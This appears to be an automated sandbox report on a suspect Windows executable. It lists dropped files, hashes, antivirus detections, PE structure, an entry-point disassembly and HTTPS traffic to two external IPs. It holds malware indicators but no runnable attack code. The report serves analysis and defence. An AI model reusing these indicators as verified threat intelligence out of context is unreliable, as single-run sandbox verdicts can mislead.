SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_nqwnsdjw.zdd.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pspyx0sq.rek.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ui35bydz.z32.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_uvhaxuwy.dqy.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wnc11plx.gx1.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wupofh3u.ifh.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_y1yvkk2f.oqk.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\y5cm2yzz.hwt.exe

Download File

Process:	C:\Users\user\Desktop\UBONg7lmVR.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	8077824
Entropy (8bit):	6.958055025032026
Encrypted:	false
SSDEEP:	98304:ha48jDV5s44tAbCEAVomRGM6oCRXpqALGFFV/lz8RY5ui2R:haV5s4ZPAunVRZXGxlz8cuF
MD5:	A499C507987982C951093E21DF0C0D96
SHA1:	FA1A7050198570E016FC4BF3DDD69160E05A8A38
SHA-256:	64AAFFE3B4D705B9DDBCE60E8FD8B9829C20438B8C68AE254E185C0F466E0265
SHA-512:	0AB3D225FC8901D9CC1719EE61E0CDB444532F8A43B307382E7F3E5D610BCF1D54B5ABEF23649C370E5E960366270D99D94629E47868AE7959522A54D574A27D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 11% Antivirus: Virustotal, Detection: 8%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.........u......."......~&...................@...........................................`... .............................................. ~.T.............Z.X............0~.......................................................N..............................text...5\|&......~&................. ..`.rdata...h'...&..j'...&.............@..@.data.........N.......M.............@....pdata..X.....Z.......Q.............@..@.xdata........[.......R.............@..@/4......).....[.......R.............@..B/19....._.....[.......R.............@..B/32......l....b..n...tY.............@..B/46.....0.....d.......Z.............@..B/65......... d.......Z.............@..B/78.....:.....r.......i.............@..B/90...........{......6r.............@..B.idata..T.... ~.......t.............@....reloc.......0~.......t.............@..B.symtab.......~.......u................B........

C:\Users\user\Desktop\new_example.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\y5cm2yzz.hwt.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	19
Entropy (8bit):	3.366091329119193
Encrypted:	false
SSDEEP:	3:hMCE/N:hul
MD5:	F92A9EF0567DB794EFBE6CC7D98974CC
SHA1:	51728A8A25C4F2805984F294DADCE85E738B90D9
SHA-256:	26D96E97CEE88C873CFA14F364E79DAE57265CF8DA97ED1EA65A66A5EC6AD673
SHA-512:	14C3C14D4E4D93619C0982BB22BD73930531F510C281BE2E8B1EC6C92F1E1CDCE11AC90F13D8F1F6EE79AAA88711B54AD119A16EE51582A2C6ED4071A5C9684A
Malicious:	false
Preview:	This is a new file.

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	0.025120815978877453
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 50.01% Win32 Executable (generic) a (10002005/4) 49.97% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	UBONg7lmVR.exe
File size:	52'506'624 bytes
MD5:	d2db9a159617250a517f9d074ab8f947
SHA1:	cdc8efcd77ce4725200f29b9be43dac308a139a1
SHA256:	e1653e127b026feeb94faf95ccc260c4b063e2e3bb4f1cc361a4f9d8e928ae6e
SHA512:	f1fba436f68603ce07314292bb63af326ddf4748d0b622b1da5d76c8880ae7c11c80301b339a847c41adb6d83eb95fb7f60b19385f2dcbd4c611d29017998376
SSDEEP:	1536:4no014QhBgKrsMGr5G+slCbUuz2KLj3tC7wjsX/jVh5X6XL5X7r0eHoz:4o014QhBgdACFleksXD5K7ln0hz
TLSH:	03B72B24D518FD3ADD1282344439E2EE262E1E40A671CC3EBD587E2E5DB33D43761EA6
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....~4..........."...0...!.........n0!.. ...@!...@.. ........................!...........`................................

File Icon


Icon Hash:	2d2e3797b72b0b99

Static PE Info

General

Entrypoint:	0x361306e
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0xBB347EF2 [Thu Jul 11 14:49:22 2069 UTC]
TLS Callbacks:
CLR (.Net) Version:	v4.0.30319
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x3213020	0x4b	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x3214000	0x19ea	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x3216000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x3211074	0x3211200	5a666a826e8dc7814dac7f8ff900a201	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x3214000	0x19ea	0x1a00	69965859e0a13ab7b1284d0e357f31f9	False	0.3487079326923077	data	4.665608381406232	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x3216000	0xc	0x200	e92f29fd0f22a9375098f27ff47f755d	False	0.044921875	MacBinary, Mon Feb 6 07:28:16 2040 INVALID date, modified Mon Feb 6 07:28:16 2040 "!\003\014"	0.11836963125913882	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	ZLIB Complexity
RT_ICON	0x32141c0	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	0.5675675675675675
RT_ICON	0x32142e8	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 320	0.476878612716763
RT_ICON	0x3214850	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 640	0.46774193548387094
RT_ICON	0x3214b38	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1152	0.40794223826714804
RT_GROUP_ICON	0x32153e0	0x3e	data	0.8387096774193549
RT_VERSION	0x3215420	0x3e0	data	0.35786290322580644
RT_MANIFEST	0x3215800	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators	0.5489795918367347

Imports

DLL	Import
mscoree.dll	_CorExeMain

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 27, 2024 13:05:45.394026995 CEST	49730	443	192.168.2.4	185.166.143.49
Aug 27, 2024 13:05:45.394107103 CEST	443	49730	185.166.143.49	192.168.2.4
Aug 27, 2024 13:05:45.394172907 CEST	49730	443	192.168.2.4	185.166.143.49
Aug 27, 2024 13:05:45.435529947 CEST	49730	443	192.168.2.4	185.166.143.49
Aug 27, 2024 13:05:45.435585022 CEST	443	49730	185.166.143.49	192.168.2.4
Aug 27, 2024 13:05:46.173393011 CEST	443	49730	185.166.143.49	192.168.2.4
Aug 27, 2024 13:05:46.173475027 CEST	49730	443	192.168.2.4	185.166.143.49
Aug 27, 2024 13:05:46.222939968 CEST	49730	443	192.168.2.4	185.166.143.49
Aug 27, 2024 13:05:46.222986937 CEST	443	49730	185.166.143.49	192.168.2.4
Aug 27, 2024 13:05:46.223395109 CEST	443	49730	185.166.143.49	192.168.2.4
Aug 27, 2024 13:05:46.275208950 CEST	49730	443	192.168.2.4	185.166.143.49
Aug 27, 2024 13:05:46.304817915 CEST	49730	443	192.168.2.4	185.166.143.49
Aug 27, 2024 13:05:46.352505922 CEST	443	49730	185.166.143.49	192.168.2.4
Aug 27, 2024 13:05:46.668823957 CEST	443	49730	185.166.143.49	192.168.2.4
Aug 27, 2024 13:05:46.668847084 CEST	443	49730	185.166.143.49	192.168.2.4
Aug 27, 2024 13:05:46.668894053 CEST	49730	443	192.168.2.4	185.166.143.49
Aug 27, 2024 13:05:46.668915033 CEST	443	49730	185.166.143.49	192.168.2.4
Aug 27, 2024 13:05:46.668931961 CEST	443	49730	185.166.143.49	192.168.2.4
Aug 27, 2024 13:05:46.668932915 CEST	49730	443	192.168.2.4	185.166.143.49
Aug 27, 2024 13:05:46.668979883 CEST	49730	443	192.168.2.4	185.166.143.49
Aug 27, 2024 13:05:46.674288034 CEST	49730	443	192.168.2.4	185.166.143.49
Aug 27, 2024 13:05:46.700562000 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:46.700592041 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:46.700668097 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:46.701025963 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:46.701041937 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:47.291929960 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:47.292009115 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:47.295285940 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:47.295295954 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:47.295646906 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:47.297153950 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:47.340513945 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:47.478629112 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:47.480726004 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:47.480747938 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:47.480808020 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:47.480818987 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:47.480851889 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:47.480875015 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:47.573137045 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:47.573163986 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:47.573213100 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:47.573282957 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:47.573307037 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:47.573323011 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:47.574982882 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:47.575006008 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:47.575058937 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:47.575064898 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:47.575093031 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:47.619652987 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:47.662957907 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:47.662978888 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:47.663018942 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:47.663062096 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:47.663072109 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:47.663104057 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:47.664659977 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:47.664683104 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:47.664724112 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:47.664729118 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:47.664763927 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:47.665704966 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:47.665767908 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:47.665777922 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:47.665810108 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:47.665837049 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:47.667526007 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:47.667583942 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:47.667588949 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:47.667608023 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:47.667639971 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:47.712704897 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:47.712708950 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:47.753611088 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:47.753632069 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:47.753683090 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:47.753688097 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:47.753729105 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:47.754143000 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:47.754163027 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:47.754193068 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:47.754196882 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:47.754221916 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:47.754426956 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:47.754483938 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:47.754496098 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:47.754506111 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:47.754555941 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:47.754559994 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:47.754980087 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:47.754998922 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:47.755050898 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:47.755054951 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:47.755675077 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:47.758446932 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:47.758466005 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:47.758517027 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:47.758521080 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:47.758552074 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:47.758568048 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:47.758570910 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:47.758892059 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:47.758913994 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:47.758946896 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:47.758951902 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:47.758979082 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:47.759344101 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:47.759392977 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:47.759402990 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:47.759413958 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:47.759458065 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:47.759462118 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:47.759661913 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:47.845818043 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:47.845838070 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:47.845966101 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:47.846014023 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:47.846040010 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:47.846060038 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:47.846076965 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:47.846087933 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:47.846123934 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:47.846128941 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:47.846247911 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:47.846266031 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:47.846301079 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:47.846306086 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:47.846330881 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:47.846584082 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:47.846606970 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:47.846642017 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:47.846646070 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:47.846673012 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:47.847214937 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:47.847259045 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:47.847296000 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:47.847301006 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:47.847325087 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:47.847341061 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:47.847362995 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:47.847367048 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:47.847381115 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:47.847413063 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:47.847420931 CEST	49733	443	192.168.2.4	52.216.51.233
Aug 27, 2024 13:05:47.847441912 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:47.848052979 CEST	443	49733	52.216.51.233	192.168.2.4
Aug 27, 2024 13:05:47.848064899 CEST	443	49733	52.216.51.233	192.168.2.4
